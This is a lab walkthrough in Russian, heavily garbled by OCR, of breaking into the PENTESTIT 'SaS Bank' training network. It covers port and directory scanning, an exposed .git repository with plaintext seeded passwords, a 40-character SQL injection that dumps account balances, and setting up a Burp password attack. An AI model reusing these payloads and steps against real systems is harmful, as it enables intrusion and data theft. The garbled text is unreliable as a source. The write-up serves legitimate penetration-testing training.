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npOHVlKaeM B CETb BbIMbIWINIEHHOTO 6aHKa C

HaCTOoOAWMMUN COBPEMEHHBIMAU YA3IBUMOCTAMN

Komnauns PENTESTIT, 3annMaromasicss *H(OPMAIIMOHHOM 6e30I1aCHOCTHIO,
3alyCcTuUIa CBOI0 HOBYIO, BOCbMYIO JIAaO0OPaTOPHIO JJIsl TPOBEPKY HaBBIKOB B
IIPAaKTUUECKOM TeCTUPOBAaHMUM Ha IIPOHMKHOBEHME.

JTabopaTopus IpeACcTaBiIsieT CO60M KOPIIOPATUBHYIO CETh, OUEHb ITOX0XKYIO
Ha CeThb HacTosIeNn opranm3anun. baarogaps na6opatopusim PENTESTIT
MOXKHO BcCerjia 6bITh B Kypce MOCIeTHUX VI3BUMOCTEN U IOIIPOOOBATh CeOsI
B KQUeCTBe HACTOSIIIEro ITeHTecTepa, Mapasiyie/;IbHO 06yUasiCh Y HACTOSIIITUX
1poceccMoHaIOB — TeX, KTO KaXKIbI JIeHb 3aHMMAaeTCs TeCTUPOBaHMEM Ha
IIPOHUKHOBEHME B Pea/IbHBIX CETSIX.

[Tocyte Tpex HeJle/b yCEPIHOM PaboThI, 1ECSTh UeJIOBEK YXKe CMOTJIU
CKOMITPOMETHMPOBATH BCE JIECATh MAIIMH B CETH, ¥ B3ITh BCE IBEHAAIIATh
TOKEeHOB. MHe ITOCUaCT/IMBUIOCh OKa3aThCSI Ha YETBEPTOM MECTe.

BAYKHO: 51 He IBJISIIOCh COTPYAHMUKOM WK a(pvIMpPOBaHHbBIM JIUIIOM
koMraHuu PENTESTIT. 3TOT JOKYMEHT OIMCBIBAET IIaru, KOTOPBIE S
MIpeAIPUHSIT UTOOBI IIOJTIYUUTD IOCTYII K IBYM KOMITbIOTEPAM B CETHU
slabopaTopuy. Moy TMUHbBIE peKOMEHIAIUM U IIPeAOUTeHMS] HUKaKUM
06pa3oM He OTHOCATCS K ouiinasibHoMy MHeHM0 Komnanuu PENTESTIT.

OTKA3 OT OTBETCTBEHHOCTM: Bcst MHpOpMaliys B 3TOM IOKYMEHTe
IIpeIoCTaB/IeHa MCK/IIOUMTE/IbHO B 00pa30BaTesIbHBIX 11eIsaX. [Ipomomkas
UMUTATh 3TOT JOKYMEHT BbI COIJIalllaeTeCh He UCII0/Ib30BaTh 3TY
MHGOPMaLIMIO B HE3aKOHHBIX 111X, M ITIOATBEPKIAeTe UTO BbI M TOJIBKO BbI
HeceTe I10JIHYI0 OTBETCTBEHHOCTD 32 CBOM J1€MCTBUSI OCHOBAaHHbIE UJINU
II0JTyUeHHbIe 6j1arogapsi MHGQOPMAaLIUM U3 3TOr0 IOKYMEHTA. ABTOP 3TOTO
noxkymeHTa 1 kKomnauusgd PENTESTIT He HecyT HMKaKOV OTBETCTBEHHOCTHU 3a
71106011 yiep6 MpUUMHEHHBIN KOMY JIMOO B pe3yJibTaTe IIPOUTeHMs TaHHOT'O
IOKYMEHTa.

MOAK/JHOYEHWE K TABOPATOPUN

[Ipexxzie ueM HauaThb, HY3KHO 3aPETMCTPUPOBATHLCS B JTaOOPATOPUH,
HacTpouTh VPN-coenmHeHMe U TOAKITIOUMTHCA K ceTu SaS Bank.
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3aperncTpupynTech 3geck: https://lab.pentestit.ru/pentestlabs/4, v 3aTeM

crieyiTe MHCTPYKIIMSM Ha cTpaHulle «IlokmoueHme».

Il1s1 mpoBejeHNsI TeCTUPOBAHMS 1 PEKOMEHIYI0 YCTAHOBUTh B BUPTYAJIbHOM
mamuHe Kali Linux — cermanbHyo Bepcuio JIMHyKca A1 IeHTeCcTepoB, B
KOTOPO eCTb BCe He0OX0AMMOe UTOObI MPUCTYIIUTD K Jeny. Eciiu Bbl 3TOrO
ele He cJiejlaii — CaMOe BpeMsl.

HAYNHAEM TECTUPOBAHMUE

[Tocyte perucTpaium Mbl BUAMM CJIEAYIONIYIO CXEMY CETHU:

cabinet
172.16.0.2

site
172.16.0.1
aw
192.168.101.6

ssh-dev
172.16.0.3

vpn : .

: : : ay
: N av

- : - F dev-test —
: mail H 192.168.0.1
: 172.16.0.5 N
: P [
: Y
: : terminal -

gw i

192.168.0.2 N db

. a 192.168.0.5
192.168.101.7 cisco = .
. 172.16.0.100 P
: - : ; portal

192.168.0.3
ssh
172.16.0.6

3TO 3HAUMUT, UTO HaM JOJDKHBI ObITh JOCTYITHBI JIBa ITUTI03a: 192.168.101.6,
and 192.168.101.7. Hukakue BHyTpeHHNe cepBepa He OYYT AOCTYITHBI
Cpasy, TaK UTO HaM HY)XHO OyIeT HalTu CII0CO0 ITOJTYUMUTDb K HUM JOCTYII.

WTak, c uero HaUHeM?

CKAHWPOBAHWE NMOPTOB

KoHeuHo, BHYTpeHHMe M0JICETH ITOKa He BUIHBI, HO HEKOTOPbIE CITYKOBI,
3aMyllleHHble Ha BHYTPEHHUX CepBepax, HaBepHsIKa OYIyT JOCTYITHbI
CHapY>XM Uuepes IOPThI Ha IIUTI03aX. [lepBbIM 3TAllOM IIPOCKAHUPYEM XOCThI
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https://lab.pentestit.ru/pentestlabs/4

C IIOMOIIIbI0 NMAapP — CaMOM PaCIIPOCTPAHEHHON YTUJIUTBI IJIs1
CKaHMPOBAHMUS IOPTOB. 3aIllyCKaeM...

~# nmap -sS -v -T4 192.168.101.6

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-12-03 02:03 EST
Initiating Ping Scan at 02:03

Scanning 192.168.101.6 [4 ;

Completed Ping Scan at @ 0.23s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:03

Scanning www.sas-bank.lab (192.168.101.6) [1000 ports]

Discovered open port 80/tcp on 192.168.101.6

Discovered open port 443/tcp on 192.168.101.6

Completed SYN Stealth Scan at 02:03, 14.49s elapsed (1000 total ports)
Nmap scan report for .sas-bank.lab (192.168.101.6)

Host is up (0.12s latency) .

Not shown: 998 filtered ports

PORT STATE SERVICE

80/tcp open http

443/tcp open https

Read data files from: /fusr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds
Raw packets sent: 2011 (88.460KB) | Rcvd: 12 (512B)
~#

Kak Buaum, 192.168.101.6 maeT HaM JIOCTYII K IBYM BeO-IPUJIOKEHUSIM
yepe3 HTTP u HTTPS, xoTopklie, CKOpee BCero, pa3MmelleHbl Ha OIHOM MJIU
IBYX cepBepax BHYTpU ceTu. CKOPO BBISICHUM!

OTkpbiBaeM 6pay3ep u rpoBepsieM Haxoaku. [lopt 80, HTTP:

SAS BANK - Stable and secure - Iceweasel @ 0 0
/ SAS BANK - Stable and ... * +

€ )9 @192.168.101.6 v B Google ol B8 & A& G =v @

[ Most Visited ¥ “Offsnslvs Security \Kau Linux \KE[I Docs \Kau Tools ™ Exploit-DB ‘Alr:rack-ng

SAS BANK

Main News Contacts Sign in

LATEST NEWS

The contest to find the vulnerabilities

* of the bank open
S aS B a n k - Stab I e The competition to find vulnerabilities in the most

secure bank. more
n d S r B n k The security audit certificate received
a e C u e a The SaS-Bank received a certificate of security
audit more

Today, in a hard economic crysis almost everywhere among

Tenepb nipo6yem https://192.168.101.6/ i BUIUM CJIEAYIONIYIO KaPTHUHY.
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https://192.168.101.6/

SAS BANK - Stable and secure - Iceweasel e ® 0
SAS BANK - Stable and ... % | SAS BANK - Stableand ... * | %

an 192.168.101.6/sigr ve|[Bv coogle ol %™ ¥ A G =y @A

Most Visited ¥ “Offenslve Security \Kau Linux \Kau Docs \Kal\ Tools * Exploit-DB ‘A\r(ra(kfng

SAS BANK

Sign in

Sign in

Sign in

Bce nmoxpTBepamiock. Tereps rpockanupyem 192.168.101.7:

:~# nmap -sS -v -T4 192.168.101.

Starting Nmap 6.4SBETA4 ( https://nmap.org ) S22 -03 0205 EST
Initiating Ping Scan at 02:05
Scanning 192.168.101.7 [4 ports]
Completed Ping Scan at 02:05, 0.23s elapsed (1 tntal hosts)
Initiating Parallel DNS lution of 1 host. @
Completed Parallel DNS resclution of 1 host. a
Initiating SYN Stealth Sc at 02:85
et ok bl el r e ports]
)Jiscovered open port 25/tcp on 192 lDB 1 ehbir
cp on 192.
g: About 1: 5 do EfEe 0200
Increasing send delay for 192.168.101.7 from @ to 5 dua ] ll uuT nT 14 dtmpped
D robe 5 since last 1nc ease.
About 16.70% done; ETC: 02:11 (0:05:04 remaining)
2.168.101.7 from 5 to 10 due to 11 out of 11 dropped

an Timing: About 20.35% done; ETC: ] (0:05:56 remaining)

‘YN btealth Scan Timing: About 24.05% done; ETC: 02:13 (0O: 2 remaining)
PR HelER By

Stealth Scan Timing: About 42.90% done; ETC:

e ameEeERE:

remaining)
remaining)
remaining)
remainin

%

YN Stealth Scan Timing: About 48.90%
YN Stealth Scan Timing: About 54.50% done; ETC:

9

%

YN Stealth Scan Timing: About 60.00% done; ETC:
YN Stealth Scan Timing: About 65.50% done; ETC: remainin
YN Stealth Scan Timing: About 71. done; ETC: ( remainin
YN Stealth Scan Timing: About 76. done; ETC: 02:16 ( : remaining)
YN Stealth Scan Timing: About 82. done; ETC:
YN Stealth Scan Timing: About 87. dane; ETC:
Stealth Scan Timing: About 92. done; ETC: E
ed SYN Stealth Scan at 02:16, 669.06s elapsed (1000 ToTal porfsl
can report for 192.168.101.7
ost is up (0.11ls lat
lot shown: 997 filte
STATE SERVICE
open ssh
open smtp
open xprint-server

Ul &~

=

fusr/bin/.
ﬂmap done: 1 IP address (1 host up) scanned in 669.38 seconds
Raw packets sent: 2184 (96.072KB) | Rcvd: 9 (38GB)

e |
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Bo BpeMs arpecCMBHOTO CKAaHMPOBaHM (@ S MCIHOJIb30BaJI OO T4, UTOGBI

YCKOPUTH IIPOIIeCC) HEKOTOPhIE MAKeThl ObUIV OT(WILTPOBAHBI, ¥ NMap-y
IIPUIIUIOCH YBEJIMUUTD BpeMsI OXKUIaHUSI MEXK/Ty OTITPAaBKOM ITaKETOB.

Buaumo nuto3 3amuineH IPS (Intrusion prevention system), koTopas
IIPOTUBOJIENICTBYET CKAHMPOBAHMIO IIOPTOB.

Kak 6561 Tam HM 6bUTO, MBI BCE PaBHO OIPeAeIVIN ellje TPU OTKPBITBIX
niopta. [IopT 22 1 25 roBopsT camu 3a ce6s, a BOT Ha mopTy 8100 Hac
OXXMJIAeT IIOUTOBBIN BeO-uHTepderic fJoMeHa sas-bank.lab:

CommuniGate Pro sas-bank.lab Entrance - Iceweasel e ® 0

SAS BANK - Stable and ... % | SAS BANK - Stableand ... X / €& CommuniGate Prosa.. * | +*

192.168.101.7:3100 v e | |Bv Google QA w8 ¥ A G v @

& Most Visited ¥ “Offensive Security '\\Kali Linux '\\Kali Docs \Kali Tools ™ Exploit-DB ‘Aircrackfng

CommuniGate

elcome to CommuniGate Pro,
the sas-bank.lab Unified Communications Server!

Account Name [ Directory

‘ Security Certificate
LRI Mail to Postmaster

Layout | v
() Disable Fixed Address Check
[ pisable Cootie check
prontol
| Enter | ﬂff)f]ff/
-

Auto-Login 3
Pronto! Lite

English Albanian Arabic Chinese Dutch Finnish French German Greek Hebrew Italian
Japanese Kazakh Korean Polish Portuguese Russian Slovak Spanish Thai Turkish Ukrainian USA English

C YETO HAYATbL?

Cyzs mo BceMy MMeeT CMBIC/I HauaTh C CAauToB 3a 192.168.101.6, moToMy
YTO M3 HMX, KaK IIOKa3bIBaeT ITPAKTMUKA, Mbl CKOpee BCEro CMOXXKeM
IIOJTYUNTh MHOTO JIOTIOJTHUTEIbHOM MH(OPMalIMK, TaKou Kak SSH-kimoun,
JMIMeHa [10JIb30BaTeJIeN II0UThI M BO3MOXKHO UTO-TO ellle.

ATAKYEM CANT

CalT MOKeT cofiep>KaTh MHOXXECTBO Pa3/IMUHbBIX YSI3BUMOCTEN, II03TOMY
HY>KHO OIIPEeJIe/IUTHCS UTO KOHKPETHO MBI OyZIeM HauMHATh. S Ipejiiaram
HauaTh CO CJIeJIYIONIEro:

e yHdopManusa B ucxogankax HTML cTpanwuii,

® CKpPBIThbIE JVPEKTOPUN,

TOUKM I10JTb30BATEILCKOI'0 BBO/IA JJISI PA3HOTO POia MHBEKIIUM,

3arpy3ka ¢aiios.
Cmp. 6u321



/3yueHMe MCXOJHUKOB CTPAHMUIIBI He AAJI0 OOIBIINX Pe3y/IbTaTOB, TIO3TOMY
s pelInI TPOCKaHMPOBATh CKPBIThIe AUPEKTOPUM UCIIONB3Ys yTUINTY dirb
BCTpoeHHYIO B Kali:

12.168.101.6/

DIRB v2.22
By The Dark Raver

3 02:32:49 2015
.168.101.6/
Jdirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.101.6/ ----
(') WARNING: A1l responses for this directory seem to be CODE = 403.

(Use mode '-w' if you want to scan it anyway)

END TIME: Thu Dec 3 02:33:11 2015
DOWNLOADED: 181 - FOUND: @
T~ D

HHTepecHO, cepBep Ha BCe 3apockl 0TBeuaeT cratyc-kogoM HTTP 403, Ho
KOTIJa s B 6pay3epe 3aX0)Xy Ha CTpaHMIly Bpoge hitp://192.168.101.6/what-
ever s IOJIy4yalo OObIYHYIO 404-10 OIIMOKY:

Iceweasel @ @ 0
http://192.1....6/whatever ¥ | SAS BANK - Stableand ... * | €“ CommuniGate Pro sa... % | +*

€ ) ©192.168.101.6 v B v Google ol B 4 A Glilevy H

[ Most Visited ¥ “Oﬁenswe Security \Kali Linux \Kau Docs '\Kali Tools ™ Exploit-DB ‘Aircra:k-ng

Whoops, looks like something went wrong,

2 0 ¢ )= Console HTML CSS Script DOM | Net v | Cookies PSearch within Net pane ~lv| OEE
e | Clear Persist || All| HTML CSS Javascript XHR Images Plugins Media Fonts
URL Status Domain Size | Remote IP Timeline a
@ GET whatever 404 Not Found 192.168.101.6 14KB 192.168.101.6:80 26
1 request 1.4 KB 206ms (onload: 233ms)

baHK 3alUTUICSI He TOJIBKO OT CKAHMPOBAHMUS IIOPTOB, HO U OT
CKaHMpPOBaHMs aupekTopuii. Cyisi 110 BceMy Be6-IIpMIIOKeHMe 3aKPhITO
WAF (Web application firewall). Ho Tak Kak caiT IpoI0/DKAET ObITh
IOCTYIIHBIM uepe3 6pay3ep, ckopee Bcero gesio B HTTP 3arosoBkax.
[Tompo6yeM mpeicTaBUThCS 6pay3epoM OTIIPAaBUB COOTBETCTBYIOIIEE
3HaueHue User-Agent:
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http://192.168.101.6/whatever

2.168.101 .6/ -a "Mozilla/5.0 (X11; Linux
/31.0 Iceweasel/31.8.0"

DIRB v2.22
By The Dark Raver

START TIME: Thu Dec 3 02:3
e AU Al 1lla/t
refox/31.0 Iceweasel/31.8.0" http

ref: refs/heads/master
~# curl -A "Mozilla/5.0
refox/31.0 Iceweasel/31.8.0" htt
Adfhe hecea41in1fa5983bb26d5?1?
L~f

GENERATED WORDS: 4612

Ilpyroe pero, dirb cpa3y Hallle1 HECKOJIBKO CKPBIThIX AUPEKTOPUN U
daioB. IIoka oH ITpoOAO/DKAET CKAHMPOBATh, JABANTE ITOCMOTPUM UTO
MOXXHO HalTU B .htaccess u .git.

B .htaccess HMUero MHTEPECHOTrO HeT, a BOT .git MOXKeT OKa3aTbCs OUeHb
Ba)KHOM HAXOAKOM. Pa3paboTumK, KOTOpbIE OCTABJISIOT MAIIKY .git B Www
root OTKPBIBAIOT AOCTYI K CBOEMY KOy IIMPOKOM ITyOJIMKe, a B KOJIe MOXXHO
HaTU MHOTO€e — OT MH(opMaIiuu 0 KOH(UTYpaLMK CETU 10 MapoJsien
T110J1b30BaTeJIeN U JOCTYIIOB K bII.

[Tortpo6yem 3aiTu: http://192.168.101.6/.git/. K coxxkaneHuIo [Jist Hac,
JIMCTUHT JUPEKTOPUM Ha cepBepe 3arpemieH. Ho He 6efa, y git-a ecTh

COBepIIIeHHO OITpeJie/iIeHHas ¥ U3BeCTHasl CTPYKTypa aiios. [locMoTpum
UuTO eCTh, HaripuMmep, B HEAD:

refox/31.0 Iceweasel/31.8.0" http
ref: refs/heads/master
~# curl -A "Mozilla/5.0 (X1l1; Linux x86 64;

refox/31.0 Iceweasel/31.8.0" htt
4dfbeB8Beceadl

~# |

Bce noctymnHo! Tak Kak 0O0IUHOMY git-KJIMEeHTY HY>KeH BK/IIOUEHHBIN
JINCTUHT OUPEKTOPUI UTOOBI KIIOHMPOBATD PEIIO3UTOPHUM, HaM ITPUAETCS
II0IPo60BaTh UTO-TO APYTOE.

BrICcTpRIN 1TOMCK B ['yIiTe JaeT ciaeayiomiye pe3yabTaThl: https://github.com/

kost/dvcs-ripper — yrunuta Ha Ilepse, KOTOpast MOXKeT CKauuBaTh
yaaJieHHbIe pero3uTopmm 6e3 Heo6X0AMMOCTH B TUCTUHTe. [TormpobyeM.
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http://192.168.101.6/.git/
https://github.com/kost/dvcs-ripper

I Hauasia ycTaHoBMUM dvcs-ripper:

rrlfkupfalfw# git clone https github.com/ t/dvcs-ripper.git

remote: s: 135, done.
remote: Total l3J (d ta @), reused 0 (delta @), pack-reused 135
Receiving objects: 1 (135/135), 44.38 KiB | O bytes/s, done.
ving deltas: 100% (74/74), done.
connectivity... done.

3amycKaeM ero Kak OIMcaHo B JOKYMeHTalMu Ha [uTXabe, ¥ OH HQUMHAET
CKauMBaTh BCe UTO HaM HY>XHO:

:~/TL8-writeup/site# ./dvcs-ripper/rip-git.pl -s -v -u http

nwnlmadln git files from http: 2 BR DB ity
Auto-det ing 404 as 200 with 3 r ests
Getting c ct 404 responses
Using session name: VtfgiiolZ
found COMMIT EDITMSG
found config
found description
found HEAD
found index
Not found for packed-refs: 404 Not Found
Not found for objects/info/alternates: 404 Not Found
Not found for info/grafts: 404 Not Found
found lo(sfHEAD
found ob 'fbe a410dbl fa5e83bb26d5717963aa56 T
found re -
Running git f:
Checking object dire torla 0% ( 6), done.
[d] found objects/ 64bq3chl944EUDa 388ea44d478554b282be

root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
root root
8-writeup/ slfe#

7
!

3
()

app
artisan
bootstrap

) composer.json
dvcs-ripper
.git
.gitattributes

9 .gitigno

) phpunit.xm

9 public

dme .md

server.php

O W = M= R
Wb W W W W www
y e

3 SRR Y [ R
(V5]

[Toka MBI STUM 3aHUMAJIUCh, yTWINUTA dirb TouTH 3aKOHUMIIA CBOIO PAGOTY U
HallUIa ellle HeCKOJIbKO (paiyIoB U IAllOK, U3 KOTOPBIX, IpaBjia, HUUEero He
IIpeACTaBIIseT 60JIbIIIOTO MHTepeca — MPaKTUUeCKU BCe OHM UTaK
IOOCTYITHBI Uepe3 CChbUTKM Ha CauTe.
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nnlnq UPL ht‘r

DE:200|SIZE:0)
1405 | SIZE:4390)

0|SIZE:20695)

;l:m.t.:,.t,._t ( SIZE:24)
signin (CODE : AT
gnout (CODE: |SI/E 352)

[Torpo6yem HaxkaTh “Sign In” Ha IJTaBHOM CTPaHUIIE:

SAS BANK - Stable and secure - Iceweasel ([ I~

SAS BANK - Stable and .. % | SAS BANK - Stableand .. X | & CommuniGate Prosa.. X | #
€ @©192.168.101.6, v & | By Google alld & A G =v @

[ Most Visited ¥ “Offensive Security '\\Kali Linux \Kali Docs l\\Kali Tools ™ Exploit-DB ‘A\rcra:k»ng

SAS BANK

Main News Contacts

Please sign in
(only for employees)

Sign in

Tenepb Y HaC eCTb VICXOJIHBIN KOJI BCErO CalTa, U Mbl MOYKEM
ITPOAHAJIM3UPOBATD €TI0 B IIOMCKaX croco6a BOMTHU B CHUCTEMY.

beriipih aHa/In3 MOKa3bIBaeT, UTO CAT OCHOBAH Ha ronysisipuoM PHP-

¢perimBopke Laravel. Cpeay mpouero, B UCXOAHMKAX eCTh Iamka database
CO CKpUIITaMM CO3AaHMs 6a3bl M HATIOJIHEHUS €€ TaHHBIMM.

HOCMOTpI/IM YTO TaM 3ad JaHHbIE:

Cmp. 10u3 21




:~/TL8-writeup/site/app/datal

<.'?php
class DatabaseSeeder extends Seeder {

/o

* Run the database seeds.
*

* @return void
* S

public function run()

{

Eloguent : :unguard() ;

$this-=call('Us
$this-=call( 'NewsTableS
}

public function run()

{

DB::table('users') -=delete() ;
User::create(array('email' == 'admin@sas.local', 'login' ==
in', 'password' == Hash::make('OEbdBst1RqWyfVsN1TrP')));
User::create(array('email' == 'user@sas.local', 'login' == 'user',
word' == Hash::make( '5KOYqEK1JQVXKVIwBSeA') )] ;
}

}

class NewsTableSeeder extends
public function run()
{

DB::table('news') -=delete() ;

‘fadsfds'));

’

3axoJIMM Ha CAMT C JIIDObIMM M3 HalMJIeHHBIX KOMOMHAIIM JIOTMHA M ITapoJId,

" cpa3y nmostyuaeM TokeH! [Taposiu 6bUTH OCTaBJIEHBI IPSIMO B OTKPHITOM
BUJIE.

Main  News  Contacts Sign out

Token

[TonyuanTe Balll IEPBbIV TOKEH, U IIPOAO/DKANTE UMTATH JaJiblie!
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M3YYHAEM KABUHET

Cnenyoliiee Ha ouepeau y HaC puioKeHue goctymnHoe uepe3 HTTPS 1o
ToMy ke IP-ampecy. Ckopee Bcero, 3To kabuHem C ICXOJTHOM CXeMBI:

cabinet
172.16.0.2

site
172.16.0.1
gw
192.168.101.6

ssh-dev
172.16.0.3

B kabuHeTe HaM BUHA TOJIBKO popMa 1151 Bxoga. [Ipobyem B Hen SQL-
MHBEKIINIO — 6e3pe3ysIbTaTHO. [I[pocKaHupyeM AUPEKTOPUM:

DIRB v2.22
By The Dark Raver

SraBeRlllS

ists/common.txt
rv:31.0) Gecko 3101 Firef

ccount

api (CODE
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I[Toka dirb mpogomkaeT cBoe fey10, MOCMOTPUM Ha IyTh “api” — OH
JIOCTyTIeH 6e3 ayTeHTU(UKALIUY U MOKET OKa3aThCSI OU€Hb MHTEPECHbBIM:

Iceweasel @ 6 0
/ https://192....8.101.6/api/ * | SAS BANK - Stable and ... * | € CommuniGate Pro sa... X | +
€ ) @ nttps://192.168.101.6/ap v &||Bv Google ol B ¥ A G =v H

[ Most Visited v [l Offensive Security % Kali Linux “Kali Docs "\ Kali Tools * Exploit-DB W Aircrack-ng

You can use only Yapi/auth' or ‘Yapi/balance' requests

Cnacu60 pa3paboTunKam, KOTOpbIe MOTPYAWINCH BbIJIaTh HaM CIIMCOK BCEX
IOCTYIIHBIX MeTOA0B. 3TOT API cKOpee BCero UCIoab3yeTcs IJ11 UHTEePHeT-
OGaHKMHIa MOOMJIbHBIM ITPUJIOKEHMEM, WJIM UEM-TO BPOJIe 3TOrO.

CMOTpPMM UTO eCTh B METO/IaxX:
/api/auth:
C rmoMonibo MeTojia auth MOYXXHO BOMTH B CUCTEMY.

{"error":{"email": ["The email field is required."],"password":["The password field 1s required."]}}

[Ipo6yeM pa3Hble MMEIbI U TapOJIn:

Iceweasel © 0 0

/ httpsi//192...ssword=pass % | SAS BANK - Stable and ... * | € CommuniGate Pro sa... % | +*

€ > -https://lez.lés101.5/ap1/auth>ema\l=a@bcomkpassward:pass V».\ B Google Q&% B 4+ & & =v B =

[ Most Visited ¥ “Offenswe Security \Kati Linux '\\Kali Docs .\\Kau Tools * Exploit-DB ‘Air(ra(kfng

{"error":{"email": ["The selected email is invalid."]}}

BesycriemmHo neitaeMcs BeITOIHUTE SQL-mABeKIMI0 — ronnyuaeM ACCESS
DENIED, ckopee Bcero oT WAF KOTOPBIM 3all[UIleH TUUHbBIN KaOWHET.

Iceweasel e 00
/ httpsi//192....6/403.html * | SAS BANK - Stable and ... * ‘C. CommuniGate Pro sa... ¥ | +*

€ ) & https//192.168.101.6/403.html v &||B ¥ Google ol B ¥+ A G =v H

[ Most Visited ¥ “Offenswe Security \Kah Linux \Kau Docs \Kah Tools ™ Exploit-DB \Alrcrack-ng

ACCESS DENIED

/api/balance:

{"error":{"api_session_token":["The api session token field is required."],"id":["The id field is required."]}}

3TOT METOJI BO3BpalllaeT TEKYIIMI 6aIaHC I10JIb30BATE0, KOTOPHIN
IIpeJIBApPMUTEILHO BOIIIEJI C IIOMOIIBIO IPeabIAyIero Mmeroaa auth, moayumus
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TaM, CyJid 10 BceMy, session token. [Tormpo6yeM 1ojiCTaBUTh pa3Hble
3HaUeHMs IapaMeTpOB...

Iceweasel (I I ]
J https://192...123&id=123 * “‘SAS BANK - Stable and ... * | € CommuniGate Pro sa.. ¥ | +
!‘ @ https://192.168.101.6/api/balance?api_session_token=123&id=123 v L:‘ B Google 0\‘ B ¥ A4 G =v @A =
[ Most Visited v [l Offensive Security S Kali Linux S Kali Docs % Kali Tools * Exploit-DB W Aircrack-ng
{"error":{"api_session_token":["The api session token must be 40 characters."]}}
OmmobKa coobIIaeT HaM, UTO TOKEH JOJDKeH ObITh POBHO 40 CMMBOJIOB B
IuHy. [Torpobyem SQL-MHBEKIHIO.
Iceweasel e ® 0
i https://192...271&id=123 X “\SAS BANK - Stableand ... * | € CommuniGate Pro sa... % | +
(; @ https://192.168.101.6/api/balance?api_session_token=123" or '1'="1&id=123 V\.“ E"iw,mg‘\: 0\‘ A ¥ & G =y B =
[ Most Visited ¥ lilOffensive Security \Kali Linux \Kali Docs \Kali Tools ™ Exploit-DB ‘Air[ra(kfng
{"error":{"api_session_token":["The api session token must be 40 characters."]}}
UuTtepecHo! 3amyra WAF B 3TOT pa3 He cpaboTasia, XOTS MBI HUUETO U He
y3Han. [lorpobyem caenaTh 40-cMMBOJIbHYIO SQL-MHBEKIINIO:
https://192.168.101.6/api/balance?
api_session token=12345678901234567890123456789%27+or+
%271%27=%271&id=11
U BOT, METO/, BO3BpAIIAET HAM CIIMCOK BCEX IT0/Ib30BaTE/Ie BMECTE C
6ajlaHCaMy CUeTOB:
Iceweasel e ® 0

J httpsi//19..%271&d=11 % | SAS BANK - Stableand .. X | S CommuniGate Prosa.. X | %
€ ) & 5/api/balance?api_session_token=12345678901234567890123456789'+or+'1'='1&id=11 vc\ B v Google Q&% B & A4 G =v @

Most Visited ¥ “Offens\ve Security \Kall Linux ~\\Kau Docs \Kall Tools ® Exploit-DB ‘Alr:rack-ng

email®:"PhillipSPhillipsefleckens.hu", "balanc
i1":"ErnestCNilliams@cuvox.de", "balance":"
"IsmaelNNewcomb@dayrep.com”, "balanc
mesMPang@fleckens.hu”, "balance":
ohnCPerkins@teleworm.us", "bal
ohnMMartin@rhyta.com","
ravisMHeadrick@cuvox.de", "b
eremiahBMagee@superrito.com”, "ba .00
thelCMyers@einrot.com", "balance":"165.00"}, {"
“id":"21", 1":"JohnIHampton@teleworn.us", "balance":"105.00"}, {"id":
bank.lab", "balance":"18.00"}]

ldenTPfaff@teleworm.us", "balance":"78.00"},

WilliamLSchmidt@armyspy.com", "balance":"137.00"},

i "DonaldDRandolph@fleckens.hu", "balance":"186.00"},

chaelJDavis@fleckens.hu", "balance":"73. B

"JonathanJAlejandro@rhyta.com", "balance":"67.00"},

L "email":"ManuelTBoland@rhyta.com", "balance":"35.00"},
email":"RandyRDarden@superrito.conThomasMReid@rhyta.com", "balance":"20.00"},

22", "email": "LesterLLenard@cuvox.de”, "balance":"19.00"}, {"id":"23", "email": "RalphWestfall@sas-

He Takoi V> OH u Secure, 3TOT Stable & Secure Bank!

MOABUPAEM NMAPOJIb

W3 Bcex HalJIeHHBIX aJpecOB, OAUH OKa3aJICsl CAaMbIM MHTEPECHBIM — OH
3aBeJieH B loMeHe @sas-bank.lab. To ecTb, Mbl HAKOHEL 0OHAPYXKMUIIU
1iepBoe MMs 110J1b30BaTess B ceTu! Ilormpobyem nogo6paTh K HEMY HapoJib,
TeIepb Y)Ke UCIIO0JIb3ysl MeToy auth.
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https://192.168.101.6/api/balance?api_session_token=12345678901234567890123456789%27+or+%271%27=%271&id=11

Iceweasel

fhttps://lQZ‘..sswurd=pass X\SAS BANK - Stable and ... % ‘ €~ CommuniGate Pro sa... ¥ | L

(€ @ nhttps://192.168.101.6/api/auth?email=RalphWestfall@sas-bank.lab&password=pass v | [B coogle Qv ®d ¢

[ Most Visited v [l Offensive Security N Kali Linux “Kali Docs % Kali Tools % Exploit-DB ‘Aircrack-ng

A G v @

{"error":"Wrong password or email"}

3amyckaeM Burp Suite 1 mpo6yeM aTaky 1o cJioBapio.

HPE)KJIG BcCero, V6EJII/IMCH uTo Iceweasel IIOAKJIUAEeTCAd K CeTH Uuepe3 Burp-

MPOKCU. Y MeHd OH 3amylueH Ha 127.0.0.1:8090.

Connection Settings
e —— D
[https:/ll92...wurd=se(ret x

Configure Proxies to Access the Internet

(€ a https://192.168.101.6/api/auth?email=RalphWestf3| - © No proxy

) Auto-detect proxy settings for this network
[ Most Visited ¥ “Oﬁ‘ensive Security '\Kali Linux '\K

() Use system proxy settings
{"error":"Wrong password or email"} @® Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 ‘ Port: ‘

[ Use this proxy server for all protocols

SSL Proxy: [ 127.0.0.1 | Port:

ETP Proxy: [ 127.0.0.1 | Port:

SOCKS Host: [ 127.0.0.1 | Port:

SOCKS v4 (=)SOCKS v5 []Remote DNS
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24
©) Automatic proxy configuration URL:

(

| [ Retoad |

[ Do not prompt for authentication if password is saved

Help Cancel oK

BbI MO)KeTe HaCTPOMUTH JII060M ITOPT Ha BKIagke Proxy > Options:

Burp Suite Professional v1.6.31 - licensed to Alexey Stoletny [single user license] WO
Burp Intruder Repeater Window Help
[Target TPrnxyT Spider T Scanner T Intruder I Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts ]
[ Intercept T HTTP history T WebSockets history T Options ]
(2] Proxy Listeners LA\
@

SErver.

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy

Edit proxy listener

J Binding T Request handling T Certificate ]

(— w These settings control how Burp binds the proxy listener.

—
Bind to port: 8090

Bind to address: @ Loopback only

QO Al interfaces
Each installation

for use in other t O Specific address: | 10.10.69.142 v

Import / export

?] Intercept Clig|
@ Use these setting
